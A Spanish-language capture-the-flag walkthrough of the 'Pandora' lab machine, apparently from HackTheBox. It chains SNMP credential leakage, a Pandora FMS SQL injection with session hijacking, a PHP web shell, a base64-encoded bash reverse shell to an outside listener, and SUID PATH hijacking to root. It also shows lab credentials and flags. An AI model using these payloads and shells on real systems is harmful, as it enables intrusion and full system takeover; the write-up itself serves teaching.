Pandora
15 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.136
- Fecha: 08 / 01 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.136 -p 22,80
Nmap scan report for 10.10.11.136
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
| 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 83.09 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración web
Si vamos a http://10.10.11.136
, veremos esta página web:
Aparece panda.htb
, por lo que podemos añadir el dominio en /etc/hosts
. Pero no hay nada diferente si usamos el dominio.
Podemos aplicar fuzzing para enumerar rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.136/FUZZ
assets [Status: 301, Size: 313, Words: 20, Lines: 10]
[Status: 200, Size: 33560, Words: 13127, Lines: 908]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
No hay nada interesante. En la web, no hay entrada de usuario… Hemos llegado a un punto muerto.
Enumeración por UDP
Una de las últimas cosas que hay que enumerar es UDP, a lo mejor hay servicios que utilizan UDP que no hemos visto con la ejecución de nmap
inicial. Vamos a realizar el escaneo:
# nmap -sU --top-ports 100 -n -Pn -vv 10.10.11.136
Starting Nmap 7.92 ( https://nmap.org )
Initiating UDP Scan
Scanning 10.10.11.136 [100 ports]
Increasing send delay for 10.10.11.136 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.11.136 from 50 to 100 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.11.136 from 100 to 200 due to 11 out of 12 dropped probes since last increase.
Increasing send delay for 10.10.11.136 from 200 to 400 due to max_successful_tryno increase to 6
Increasing send delay for 10.10.11.136 from 400 to 800 due to max_successful_tryno increase to 7
Increasing send delay for 10.10.11.136 from 800 to 1000 due to max_successful_tryno increase to 8
Discovered open port 161/udp on 10.10.11.136
Completed UDP Scan, 98.23s elapsed (100 total ports)
Nmap scan report for 10.10.11.136
Host is up, received user-set (0.053s latency).
Scanned for 98s
Not shown: 99 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
161/udp open snmp udp-response ttl 63
Nmap done: 1 IP address (1 host up) scanned in 98.29 seconds
Raw packets sent: 231 (12.751KB) | Rcvd: 106 (9.126KB)
Se ve que SNMP está habilitado. Este protocolo se utiliza para configuraciones de red. Podemos usar snmpwalk
para obtener todas las configuraciones expuestas por el servidor:
Tenemos que especificar v2c
como versión y public
como community string:
$ snmpwalk -v2c -c public 10.10.11.136 | tee enum/snmpwalk.out
SNMPv2-MIB::sysDescr.0 = STRING: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (3230601) 8:58:26.01
SNMPv2-MIB::sysContact.0 = STRING: Daniel
SNMPv2-MIB::sysName.0 = STRING: pandora
SNMPv2-MIB::sysLocation.0 = STRING: Mississippi
...
HOST-RESOURCES-MIB::hrSWRunParameters.767 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
HOST-RESOURCES-MIB::hrSWRunParameters.781 = STRING: "--foreground"
HOST-RESOURCES-MIB::hrSWRunParameters.782 = STRING: "/usr/bin/networkd-dispatcher --run-startup-triggers"
HOST-RESOURCES-MIB::hrSWRunParameters.784 = STRING: "-n -iNONE"
HOST-RESOURCES-MIB::hrSWRunParameters.786 = ""
HOST-RESOURCES-MIB::hrSWRunParameters.788 = ""
HOST-RESOURCES-MIB::hrSWRunParameters.823 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.825 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.834 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
HOST-RESOURCES-MIB::hrSWRunParameters.852 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.858 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
...
Hay mucha información. Podemos encontrar este comando extraño:
/bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
Parece que daniel
es un nombre de usuario y HotelBabylon23
es su contraseña.
Podemos reutilizar estas credenciales para acceder por SSH con daniel
:
$ ssh daniel@10.10.11.136
daniel@10.10.11.136's password:
daniel@pandora:~$
Enumeración del sistema
Pero no hay flag user.txt
aquí:
daniel@pandora:~$ ls -la
total 28
drwxr-xr-x 4 daniel daniel 4096 Feb 19 16:26 .
drwxr-xr-x 4 root root 4096 Dec 7 14:32 ..
lrwxrwxrwx 1 daniel daniel 9 Jun 11 2021 .bash_history -> /dev/null
-rw-r--r-- 1 daniel daniel 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 daniel daniel 3771 Feb 25 2020 .bashrc
drwx------ 2 daniel daniel 4096 Feb 19 16:26 .cache
-rw-r--r-- 1 daniel daniel 807 Feb 25 2020 .profile
drwx------ 2 daniel daniel 4096 Dec 7 14:32 .ssh
La flag se encuentra en /home/matt
, por lo que tendremos que pivotar al usuario matt
:
daniel@pandora:~$ find /home -name user.txt 2>/dev/null
/home/matt/user.txt
No podemos ejecutar sudo
:
daniel@pandora:~$ sudo -l
[sudo] password for daniel:
Sorry, user daniel may not run sudo on pandora.
Pero sí que hay un binario SUID raro llamado /usr/bin/pandora_backup
:
daniel@pandora:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
Y matt
es capaz de ejecutarlo (como miembro de grupo):
daniel@pandora:~$ ls -l /usr/bin/pandora_backup
-rwsr-x--- 1 root matt 16816 Dec 3 15:58 /usr/bin/pandora_backup
Entonces, está claro que tenemos que convertirnos en matt
.
Podemos echar un vistazo a la configuración del servidor Apache y encontrar pandora.conf
:
daniel@pandora:~$ cd /etc/apache2
daniel@pandora:/etc/apache2$ ll sites-enabled/
total 8
drwxr-xr-x 2 root root 4096 Dec 3 12:57 ./
drwxr-xr-x 8 root root 4096 Dec 7 12:59 ../
lrwxrwxrwx 1 root root 35 Dec 3 12:56 000-default.conf -> ../sites-available/000-default.conf
lrwxrwxrwx 1 root root 31 Dec 3 12:53 pandora.conf -> ../sites-available/pandora.conf
daniel@pandora:/etc/apache2$ cat sites-enabled/pandora.conf
<VirtualHost localhost:80>
ServerAdmin admin@panda.htb
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
</VirtualHost>
Vemos que usa pandora.panda.htb
como subdominio. Sin embargo, incluso si lo añadimos a /etc/hosts
, veremos la misma página de antes. Pero el resultado desde la máquina es distinto:
daniel@pandora:/etc/apache2$ curl localhost -H 'Host: pandora.panda.htb'
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">
Enumeración de Pandora FMS
Por tanto, tenemos que usar un reenvío de puertos para acceder a esta página web desde nuestra máquina de atacante (podemos usar ENTER + ~C
para acceder a la interfaz de ssh>
y añadir la configuración del reenvío de puertos):
daniel@pandora:/etc/apache2$ cd
daniel@pandora:~$
daniel@pandora:~$
ssh> -L 8000:127.0.0.1:80
Forwarding port.
daniel@pandora:~$
Ahora podemos acceder desde nuestra máquina de atacante:
$ curl localhost:8000 -H 'Host: pandora.panda.htb'
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">
Y podemos ver la página en el navegador:
Podemos probar las credenciales de daniel
, pero dice que este usuario solo puede usar la API:
Sin embargo, vemos la versión en la parte de abajo de la página: v7.0NG.742_FIX_PERL2020
. Ahora podemos empezar a buscar vulnerabilidades y exploits. De hecho, llegaremos a blog.sonarsource.com, que muestra una inyección de código SQL (CVE-2021-32099) para saltarse la autenticación y acceder como administrador.
Explotación de SQLi en Pandora FMS
La vulnerabilidad de SQLi está en /pandora_console/include/chart_generator.php
, en un parámetro de URL llamado session_id
:
$ curl -sG localhost:8000/pandora_console/include/chart_generator.php --data-urlencode "session_id='" | head -1
<strong>SQL error</strong>: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1 ('SELECT * FROM tsessions_php WHERE `id_session` = ''' LIMIT 1') in <strong>/var/www/pandora/pandora_console/include/db/mysql.php</strong> on line 114<br />
Se trata de un SQLi de tipo Error-based, y disponemos de la consulta SQL:
SELECT * FROM tsessions_php WHERE `id_session` = '$session_id' LIMIT 1
Donde $session_id
es el punto donde está la inyección SQL. Ahora podemos continuar con sentencias UNION
para determinar el número de columnas de la tabla tsessions_php
:
$ curl -sG localhost:8000/pandora_console/include/chart_generator.php --data-urlencode "session_id=' union select 1-- -" | head -1
<strong>SQL error</strong>: The used SELECT statements have a different number of columns ('SELECT * FROM tsessions_php WHERE `id_session` = '' union select 1-- -' LIMIT 1') in <strong>/var/www/pandora/pandora_console/include/db/mysql.php</strong> on line 114<br />
$ curl -sG localhost:8000/pandora_console/include/chart_generator.php --data-urlencode "session_id=' union select 1,2-- -" | head -1
<strong>SQL error</strong>: The used SELECT statements have a different number of columns ('SELECT * FROM tsessions_php WHERE `id_session` = '' union select 1,2-- -' LIMIT 1') in <strong>/var/www/pandora/pandora_console/include/db/mysql.php</strong> on line 114<br />
$ curl -sG localhost:8000/pandora_console/include/chart_generator.php --data-urlencode "session_id=' union select 1,2,3-- -" | head -1
<!DOCTYPE html>
Vale, hay tres columnas en tsessions_php
. En este punto, podemos usar sqlmap
para obtener todo el contenido de la tabla:
$ sqlmap --url 'http://localhost:8000/pandora_console/include/chart_generator.php?session_id=1' --batch --flush --technique UE --dbms mysql -T tsessions_php --dump
___
__H__
___ ___[)]_____ ___ ___ {1.6.5#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
[hh:mm:ss] [INFO] flushing session file
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] potential permission problems detected ('Access denied')
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=gn6g2mp11db...rsi1fq9l61'). Do you want to use those [Y/n] Y
[hh:mm:ss] [INFO] checking if the target is protected by some kind of WAF/IPS
[hh:mm:ss] [INFO] heuristic (basic) test shows that GET parameter 'session_id' might be injectable (possible DBMS: 'MySQL')
[hh:mm:ss] [INFO] heuristic (XSS) test shows that GET parameter 'session_id' might be vulnerable to cross-site scripting (XSS) attacks
[hh:mm:ss] [INFO] testing for SQL injection on GET parameter 'session_id'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[hh:mm:ss] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[hh:mm:ss] [WARNING] reflective value(s) found and filtering out
[hh:mm:ss] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[hh:mm:ss] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[hh:mm:ss] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[hh:mm:ss] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[hh:mm:ss] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[hh:mm:ss] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[hh:mm:ss] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[hh:mm:ss] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[hh:mm:ss] [INFO] GET parameter 'session_id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[hh:mm:ss] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[hh:mm:ss] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[hh:mm:ss] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
...
GET parameter 'session_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 468 HTTP(s) requests:
---
Parameter: session_id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: session_id=1'||(SELECT 0x5a664853 FROM DUAL WHERE 9303=9303 AND (SELECT 2523 FROM(SELECT COUNT(*),CONCAT(0x716a6a7871,(SELECT (ELT(2523=2523,1))),0x71626a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
---
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: PHP, Apache 2.4.41
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[hh:mm:ss] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[hh:mm:ss] [INFO] fetching current database
[hh:mm:ss] [INFO] retrieved: 'pandora'
[hh:mm:ss] [INFO] fetching columns for table 'tsessions_php' in database 'pandora'
[hh:mm:ss] [INFO] retrieved: 'id_session'
[hh:mm:ss] [INFO] retrieved: 'char(52)'
[hh:mm:ss] [INFO] retrieved: 'last_active'
[hh:mm:ss] [INFO] retrieved: 'int(11)'
[hh:mm:ss] [INFO] retrieved: 'data'
[hh:mm:ss] [INFO] retrieved: 'text'
[hh:mm:ss] [INFO] fetching entries for table 'tsessions_php' in database 'pandora'
...
Database: pandora
Table: tsessions_php
[46 entries]
+----------------------------+-----------------------------------------------------+-------------+
| id_session | data | last_active |
+----------------------------+-----------------------------------------------------+-------------+
| 09vao3q1dikuoi1vhcvhcjjbc6 | id_usuario|s:6:"daniel"; | 1638783555 |
| 0ahul7feb1l9db7ffp8d25sjba | NULL | 1638789018 |
| 126fq2t95047ct8b59b5dncu41 | NULL | 1653964108 |
| 1um23if7s531kqf5da14kf5lvm | NULL | 1638792211 |
| 2e25c62vc3odbppmg6pjbf9bum | NULL | 1638786129 |
| 346uqacafar8pipuppubqet7ut | id_usuario|s:6:"daniel"; | 1638540332 |
| 3me2jjab4atfa5f8106iklh4fc | NULL | 1638795380 |
| 4f51mju7kcuonuqor3876n8o02 | NULL | 1638786842 |
| 4nsbidcmgfoh1gilpv8p5hpi2s | id_usuario|s:6:"daniel"; | 1638535373 |
| 4q1oc8aoh1a4irrckahfetujmc | NULL | 1653964112 |
| 59qae699l0971h13qmbpqahlls | NULL | 1638787305 |
| 5fihkihbip2jioll1a8mcsmp6j | NULL | 1638792685 |
| 5i352tsdh7vlohth30ve4o0air | id_usuario|s:6:"daniel"; | 1638281946 |
| 69gbnjrc2q42e8aqahb1l2s68n | id_usuario|s:6:"daniel"; | 1641195617 |
| 81f3uet7p3esgiq02d4cjj48rc | NULL | 1623957150 |
| 8m2e6h8gmphj79r9pq497vpdre | id_usuario|s:6:"daniel"; | 1638446321 |
| 8upeameujo9nhki3ps0fu32cgd | NULL | 1638787267 |
| 9vv4godmdam3vsq8pu78b52em9 | id_usuario|s:6:"daniel"; | 1638881787 |
| a3a49kc938u7od6e6mlip1ej80 | NULL | 1638795315 |
| agfdiriggbt86ep71uvm1jbo3f | id_usuario|s:6:"daniel"; | 1638881664 |
| cojb6rgubs18ipb35b3f6hf0vp | NULL | 1638787213 |
| d0carbrks2lvmb90ergj7jv6po | NULL | 1638786277 |
| f0qisbrojp785v1dmm8cu1vkaj | id_usuario|s:6:"daniel"; | 1641200284 |
| fikt9p6i78no7aofn74rr71m85 | NULL | 1638786504 |
| fqd96rcv4ecuqs409n5qsleufi | NULL | 1638786762 |
| g0kteepqaj1oep6u7msp0u38kv | id_usuario|s:6:"daniel"; | 1638783230 |
| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349 |
| gf40pukfdinc63nm5lkroidde6 | NULL | 1638786349 |
| gn6g2mp11dba8ij2rsi1fq9l61 | NULL | 1653964201 |
| heasjj8c48ikjlvsf1uhonfesv | NULL | 1638540345 |
| hoasg65m5n6lh9vjthb4ub1tm6 | NULL | 1653964104 |
| hsftvg6j5m3vcmut6ln6ig8b0f | id_usuario|s:6:"daniel"; | 1638168492 |
| imehjf0deppr112i03a12t4v4b | id_usuario|s:6:"daniel"; | 1653963989 |
| jecd4v8f6mlcgn4634ndfl74rd | id_usuario|s:6:"daniel"; | 1638456173 |
| kp90bu1mlclbaenaljem590ik3 | NULL | 1638787808 |
| ne9rt4pkqqd0aqcrr4dacbmaq3 | NULL | 1638796348 |
| o3kuq4m5t5mqv01iur63e1di58 | id_usuario|s:6:"daniel"; | 1638540482 |
| oi2r6rjq9v99qt8q9heu3nulon | id_usuario|s:6:"daniel"; | 1637667827 |
| pjp312be5p56vke9dnbqmnqeot | id_usuario|s:6:"daniel"; | 1638168416 |
| qq8gqbdkn8fks0dv1l9qk6j3q8 | NULL | 1638787723 |
| r097jr6k9s7k166vkvaj17na1u | NULL | 1638787677 |
| rgku3s5dj4mbr85tiefv53tdoa | id_usuario|s:6:"daniel"; | 1638889082 |
| tim898ul2ljiqgcmcnbnc54knl | NULL | 1653964084 |
| u5ktk2bt6ghb7s51lka5qou4r4 | id_usuario|s:6:"daniel"; | 1638547193 |
| u74bvn6gop4rl21ds325q80j0e | id_usuario|s:6:"daniel"; | 1638793297 |
| uk1r72on9hmlvbo9k49k6be3vo | NULL | 1653964098 |
+----------------------------+-----------------------------------------------------+-------------+
...
Tenemos todas las sesiones activas en el servidor. Nótese que hay una que pertenete a matt
: g4e01qdgk36mfdh90hvcc54umq
. Si modificamos la cookie PHPSESSID
en el navegador por este valor y recargamos la página, entraremos en la sesión de matt
:
Movimiento lateral al usuario matt
Pero no somos administrador… Para acceder como administrador tenemos que usar el siguiente payload SQLi:
session_id=' union select 1,2,'id_usuario|s:5:"admin";'-- -
Este payload pondrá automáticamente la sesión de admin
porque chart_generator.php
también es vulnerable a deserialización PHAR insegura:
$ curl -siG localhost:8000/pandora_console/include/chart_generator.php --data-urlencode "session_id=' union select 1,2,'id_usuario|s:5:\"admin\";'-- -" | grep PHPSESSID
Set-Cookie: PHPSESSID=t365p1tcdkbv3vva23q2j79rso; path=/
Ahora cogemos esta cookie de sesión y la ponemos de nuevo en el navegador. Y somos admin
:
En este punto, podemos subir un fichero PHP (r.php
) para ganar ejecución remota de comandos (RCE) en el servidor como matt
:
<?php system($_GET['c']); ?>
Ahora podemos buscar el archivo r.php
y obtener una reverse shell como matt
:
daniel@pandora:~$ find /var/www -name r.php 2>/dev/null
/var/www/pandora/pandora_console/images/r.php
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'localhost:8000/pandora_console/images/r.php?c=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.136.
Ncat: Connection from 10.10.11.136:35298.
bash: cannot set terminal process group (888): Inappropriate ioctl for device
bash: no job control in this shell
matt@pandora:/var/www/pandora/pandora_console/images$ cd /
cd /
matt@pandora:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
matt@pandora:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
matt@pandora:/$ export TERM=xterm
matt@pandora:/$ export SHELL=bash
matt@pandora:/$ stty rows 50 columns 158
Escalada de privilegios
En este punto, podemos analizar lo que hace /usr/bin/pandora_backup
(binario SUID):
matt@pandora:/home/matt$ ltrace /usr/bin/pandora_backup
getuid() = 1000
geteuid() = 1000
setreuid(1000, 1000) = 0
puts("PandoraFMS Backup Utility"PandoraFMS Backup Utility
) = 26
puts("Now attempting to backup Pandora"...Now attempting to backup PandoraFMS client
) = 43
system("tar -cvf /root/.backup/pandora-b"...tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 512
puts("Backup failed!\nCheck your permis"...Backup failed!
Check your permissions!
) = 39
+++ exited (status 1) +++
Vemos que usa tar
sin indicar una ruta absoluta, por lo que es vulnerable a PATH
hijacking. Vamos a realizar el ataque:
matt@pandora:/$ cd /tmp
matt@pandora:/tmp$ cat > tar
#!/bin/bash
chmod 4755 /bin/bash
^C
matt@pandora:/tmp$ chmod +x tar
matt@pandora:/tmp$ which tar
/usr/bin/tar
matt@pandora:/tmp$ export PATH=/tmp:$PATH
matt@pandora:/tmp$ which tar
/tmp/tar
Ahora, tar
será ejecutado como /tmp/tar
, de manera que /bin/bash
será configurado como SUID también:
matt@pandora:/tmp$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
chmod: changing permissions of '/bin/bash': Operation not permitted
Backup failed!
Check your permissions!
matt@pandora:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
Pero por alguna razón, el ataque no está funcionando. Vamos a intentar por SSH. Para ello, tenemos que usar claves SSH:
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:7aEfZ2kv6cZXqHKtyYKPtuPW7CTkAl4OqLYkkXd9ehY
The key's randomart image is:
+---[RSA 3072]----+
| |
| |
| |
| . . . . |
|o o + o E o . |
| + o = = + . .. .|
|oo . + *++.=+ . |
|+ . +===*Boo |
| . ++=+*=+. |
+----[SHA256]-----+
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r/Dohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn/7FOQbAyeKko1BdJwlTlrxaNSo+WyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf+PsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji/y1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq/qIqQy9xVwwl2KJ3df/5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot+k0KxaLZpY+DxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k=
matt@pandora:/tmp$ cd /home/matt
matt@pandora:/tmp$ ls -la
total 24
drwxr-xr-x 2 matt matt 4096 Dec 7 15:00 .
drwxr-xr-x 4 root root 4096 Dec 7 14:32 ..
lrwxrwxrwx 1 matt matt 9 Jun 11 2021 .bash_history -> /dev/null
-rw-r--r-- 1 matt matt 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 matt matt 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 matt matt 807 Feb 25 2020 .profile
-rw-r----- 1 root matt 33 May 31 02:26 user.txt
matt@pandora:/home/matt$ mkdir .ssh
matt@pandora:/home/matt$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r/Dohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn/7FOQbAyeKko1BdJwlTlrxaNSo+WyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf+PsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji/y1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq/qIqQy9xVwwl2KJ3df/5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot+k0KxaLZpY+DxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k=' >> .ssh/authorized_keys
$ ssh -i id_rsa matt@10.10.11.136
matt@pandora:~$ cat user.txt
9a360fbf015ce0c7b2c73fd1ac3baa19
Vale, vamos a repetir el ataque:
matt@pandora:~$ cd /tmp
matt@pandora:/tmp$ cat > tar
#!/bin/bash
chmod 4755 /bin/bash
^C
matt@pandora:/tmp$ chmod +x tar
matt@pandora:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
matt@pandora:/tmp$ which tar
/usr/bin/tar
matt@pandora:/tmp$ export PATH=/tmp:$PATH
matt@pandora:/tmp$ which tar
/tmp/tar
matt@pandora:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
matt@pandora:/tmp$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
Backup successful!
Terminating program!
matt@pandora:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
¡Funciona! Aquí tenemos la flag root.txt
:
matt@pandora:/tmp$ bash -p
bash-5.0# cat /root/root.txt
a05061c0477ab2ca820a0e4bdf6d8002